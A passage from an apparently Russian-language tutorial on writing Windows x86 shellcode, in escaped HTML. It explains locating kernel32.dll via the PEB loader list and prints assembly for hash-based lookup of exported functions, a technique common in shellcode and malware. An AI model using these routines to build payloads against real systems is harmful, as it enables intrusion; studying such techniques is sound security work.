\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: ExitProcess.<\/li>\n<\/ol>\n<p>  <\/p>\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430<\/h3>\n<p>  <\/p>\n<h4>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 kernel32.dll<\/h4>\n<p>  \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u043f\u043e\u0442\u043e\u043a\u0435) \u0432 Windows \u0435\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0436\u0438\u0432\u0451\u0442 \u043d\u0430\u0448 \u043f\u043e\u0442\u043e\u043a. \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0437\u0430 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439. \u0425\u043e\u0440\u043e\u0448\u0435\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/187226\/\">\u0437\u0434\u0435\u0441\u044c<\/a>. \u0410\u0434\u0440\u0435\u0441 kernel32.dll \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438:<\/p>\n<ol>\n<li>\u0418\u0437 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winternl\/ns-winternl-teb\" rel=\"nofollow\">TEB \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b<\/a> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winternl\/ns-winternl-peb\" rel=\"nofollow\">PEB-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b<\/a>;<\/li>\n<li>\u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c LoaderDataPointer \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443: <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winternl\/ns-winternl-peb_ldr_data\" rel=\"nofollow\">PEB_LDR_DATA<\/a>;<\/li>\n<li>\u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c InMemoryOrderModuleList<\/li>\n<li>\u041d\u0430\u0445\u043e\u0434\u0438\u043c 2 \u0438 3 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.<\/li>\n<li>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 kernel32.dll.<\/li>\n<\/ol>\n<p>  <i>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 kernel32.dll<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ; Find kernel32.dll base ; kernel32.dll in high address space ; that's why we don't need to xor eax ;===================================== find_kernel32:     mov eax, [fs:0x30]\t\t; PEB     mov eax, [eax + 0x0c]\t; PEB-&gt;Ldr     mov eax, [eax + 0x14]\t; PEB-&gt;Ldr.InMemoryOrderModuleList.Flink (1st entry)     mov eax, [eax]\t\t; 2nd Entry     mov eax, [eax]\t\t; 3rd Entry     mov eax, [eax + 0x10]\t; address of kernel32.dll     ret<\/code><\/pre>\n<p>  \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430 \u0443\u0434\u043e\u0431\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 winrepl&#8217;\u0435.<\/p>\n<h4>\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/h4>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043d\u0430\u0448\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 kernel32.dll \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u0427\u0442\u043e\u0431\u044b \u043b\u0443\u0447\u0448\u0435 \u043f\u043e\u043d\u044f\u0442\u044c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f PEview. \u0412 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c C:\\Windows\\System32\\kernel32.dll. \u0422\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 PE (.exe) \u0444\u0430\u0439\u043b\u043e\u0432, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/debug\/pe-format\" rel=\"nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>. \u0417\u0430\u0442\u0435\u043c \u0432 \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 (\u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 kernel32.dll) \u043d\u0430\u0445\u043e\u0434\u0438\u043c Offset to New EXE Header:<\/p>\n<p>  <i>PEView kernel32.dll \u2014 offset to new EXE header<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/th\/ex\/ld\/thexldcx_575ayskwc4td-vqtje.png\" alt=\"image\"><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043d\u0430\u0448\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0430\u0434\u0440\u0435\u0441 EXPORT Table:<\/p>\n<p>  <i>PEView kernel32.dll \u2014 Export Tables<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/se\/8o\/rm\/se8ormojjdglm2kpitriufu6wgg.png\" alt=\"image\"><\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043d\u0430\u0441 \u0431\u0443\u0434\u0443\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:<\/p>\n<ul>\n<li>\u0430\u0434\u0440\u0435\u0441 Address Table. \u041e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438;<\/li>\n<li>\u0430\u0434\u0440\u0435\u0441 Name Pointer Table. \u041e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438;<\/li>\n<li>\u0430\u0434\u0440\u0435\u0441 Ordinal Table. \u041e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 Address table;<\/li>\n<li>\u043e\u0431\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435.<\/li>\n<\/ul>\n<p>  <i>PEView kernel32.dll \u2014 Image Export Directory: RVA of tables<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fy\/zp\/px\/fyzppxpp1oh1hdikrpofg-vzkvg.png\" alt=\"image\"><\/p>\n<p>  \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u043e\u0431\u0449\u0438\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0435\u0441\u0442\u044c 2 \u043d\u044e\u0430\u043d\u0441\u0430. 1-\u044b\u0439 \u043d\u044e\u0430\u043d\u0441 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u043d\u043e\u0433\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0435 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u0438\u043c\u0451\u043d \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u0430\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0442\u043e\u0433\u0434\u0430 \u0432 \u043d\u0430\u0448\u0435\u043c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u0435\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c. \u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u0437\u043d\u0430\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0438\u0441\u043a, \u043a\u043e\u0433\u0434\u0430 \u0434\u043e\u0439\u0434\u0451\u043c \u0434\u043e 0, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044f \u0446\u0438\u043a\u043b. 2-\u043e\u0439 \u043d\u044e\u0430\u043d\u0441 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0442\u043e\u0447\u043d\u043e \u0443\u0432\u0435\u0440\u0435\u043d\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u044b \u043d\u0430\u0439\u0434\u0451\u0442\u0435 \u043d\u0443\u0436\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u0442\u043e \u0432\u0430\u043c \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u0442\u044c \u0446\u0438\u043a\u043b \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043c\u0435\u043d\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439: \u043d\u0435 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0442\u044c \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043a 0, \u0430 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043d\u0430 1 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 0. <\/p>\n<p>  \u041f\u0440\u0438 \u043f\u043e\u0438\u0441\u043a\u0435 \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043a 0 \u0432 ws2_32.dll \u0443 \u043c\u0435\u043d\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443, \u043c\u043e\u0436\u043d\u043e \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e GetProcAddress, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043a\u0430\u043a \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432\u044b\u0448\u0435: \u043e\u0442 0 \u0438 \u0432\u044b\u0448\u0435.<\/p>\n<p>  \u0421 \u0443\u0447\u0435\u0442\u043e\u043c \u0432\u044b\u0448\u0435\u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435. \u042d\u0442\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 kernel32.dll, \u043d\u043e \u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 ws2_32.dll. \u041a\u0430\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0445\u044d\u0448 \u0438\u043c\u0435\u043d\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (\u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0445\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435), \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0430\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u0438\u0441\u043a.<\/p>\n<p>  <i>\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u043e\u0438\u0441\u043a\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tFind function name ;===================================== ; 2 arguments: hash of function name, base of dll ;===================================== find_function_name: \txor esi, esi\t\t; clear ESI register \tpush ebp\t\t; save old EBP \tmov ebp, esp\t\t; new stack frame \tsub esp, 0xc\t\t; 3 local variables: 12 bytes \tmov ebx, [ebp + 0x0C]\t; save &lt;&gt;.dll absolute address in ebx \tmov ebx, [ebx + 0x3c]\t; offset to New EXE Header \tadd ebx, [ebp + 0x0C]\t; absolute address to New EXE Header \tmov ebx, [ebx + 0x78]\t; RVA of Export table \tadd ebx, [ebp + 0x0C]\t; Absolute address of  \t\t\t\t; Export table IMAGE_EXPORT_DIRECTORY ;===================================== ;\t0x14 - Number of Functions ;\t0x1c - Address Table RVA ;\t0x20 - Name Pointer Table RVA ;\t0x24 - Ordinal Table RVA ;===================================== \tmov eax, [ebx + 0x1c]\t; RVA of Address Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Address Table \tmov [ebp - 0x4], eax\t; 1st local variable: base of Address Table \t \tmov eax, [ebx + 0x20]\t; RVA of Name Pointer Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Name Pointer Table \tmov [ebp - 0x8], eax\t; 2nd local variable: base of Name Pointer Table \t \tmov eax, [ebx + 0x24]\t; RVA of Ordinal Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Ordinal table \tmov [ebp - 0x0C], eax\t; 3rd local variable: base of Ordinal table  \tmov ecx, [ebx + 0x14]\t; Number of functions \tmov ebx, [ebp - 0x8]\t; place address of Name Pointer Table  ;===================================== ;\tFund function loop ;===================================== find_function_loop: \tjecxz find_function_finished ; if ecx = 0 =&gt; end \tdec ecx\t\t\t; moving from Number of functions =&gt; 0 \tmov esi, [ebx + 4*ecx]\t; get RVA of next function name \tadd esi, [ebp + 0x0C]\t; base of function name  compute_hash: \txor edi, edi \txor eax, eax compute_hash_again: \tlodsb\t\t\t; load char of function name \ttest al, al\t\t; is it end of function name? \\0 \tjz compute_hash_finished ; end \tror edi, 0xd\t\t; bitwise shift right \tadd edi, eax \tjmp compute_hash_again compute_hash_finished: find_function_compare: \tcmp edi, [ebp + 0x8]\t; compare our hash with calculated \tjnz find_function_loop ;===================================== ;\tGet address of Function ;===================================== \tmov ebx, [ebp - 0x0c]\t; get ordinal table base \tmov cx, [ebx + 2 * ecx]\t; extract relative offset of function \tmov eax, [ebp - 0x4]\t; get base of Address table \tmov eax, [eax + ecx*4]\t; get RVA of our function \tadd eax, [ebp + 0x0C]\t; get base of our function find_function_finished: \tleave\t\t\t; mov esp, ebp; pop ebp \tret<\/code><\/pre>\n<p>  \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 (\u043c\u0435\u0442\u043a\u0430 find_function_name) \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0447\u0438\u0449\u0430\u0435\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440 ESI, \u043f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u0435\u043a\u043e\u0432\u044b\u0439 \u0444\u0440\u0435\u0439\u043c, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043d\u0430\u0441 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0438\u0445 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 (\u043a\u043e\u0434 \u0434\u043e \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u00abFind function loop\u00bb).<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0446\u0438\u043a\u043b \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0421\u043f\u0435\u0440\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 ECX. \u0415\u0441\u043b\u0438 \u043c\u044b \u043f\u0440\u043e\u0448\u043b\u0438 \u0432\u0441\u0451 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u0442\u043e \u043f\u043e\u0438\u0441\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d (\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f jecxz find_function_finished). \u0415\u0441\u043b\u0438 \u043d\u0435\u0442, \u0442\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043c\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u044b Name Pointer Table \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0430. \u0417\u0430\u0442\u0435\u043c, \u0432\u044b\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0445\u044d\u0448 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438. \u0425\u044d\u0448 \u0432\u044b\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0431\u0438\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u0434\u0432\u0438\u0433\u0430 (\u043c\u0435\u0442\u043a\u0430 compute_hash_again).\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 EDI. \u041a\u043e\u0433\u0434\u0430 \u043d\u0430\u0448\u043b\u0438 \u043a\u043e\u043d\u0435\u0446 \u0441\u0442\u0440\u043e\u043a\u0438, \u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0435\u043c, \u0447\u0442\u043e \u0445\u044d\u0448 \u043f\u043e\u0434\u0441\u0447\u0438\u0442\u0430\u043d \u0438 \u0437\u0430\u0442\u0435\u043c \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u043c \u0435\u0433\u043e \u0441 \u043d\u0430\u0448\u0438\u043c \u0438\u0441\u043a\u043e\u043c\u044b\u043c \u0445\u044d\u0448\u0435\u043c. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0445\u044d\u0448\u0438 \u043d\u0443\u0436\u043d\u044b\u0445 \u043d\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0437\u0430\u0440\u0430\u043d\u0435\u0435, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430\u00bb. \u0415\u0441\u043b\u0438 \u0445\u044d\u0448 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442, \u0442\u043e \u043c\u044b \u0431\u0435\u0440\u0451\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043f\u043e\u0438\u0441\u043a 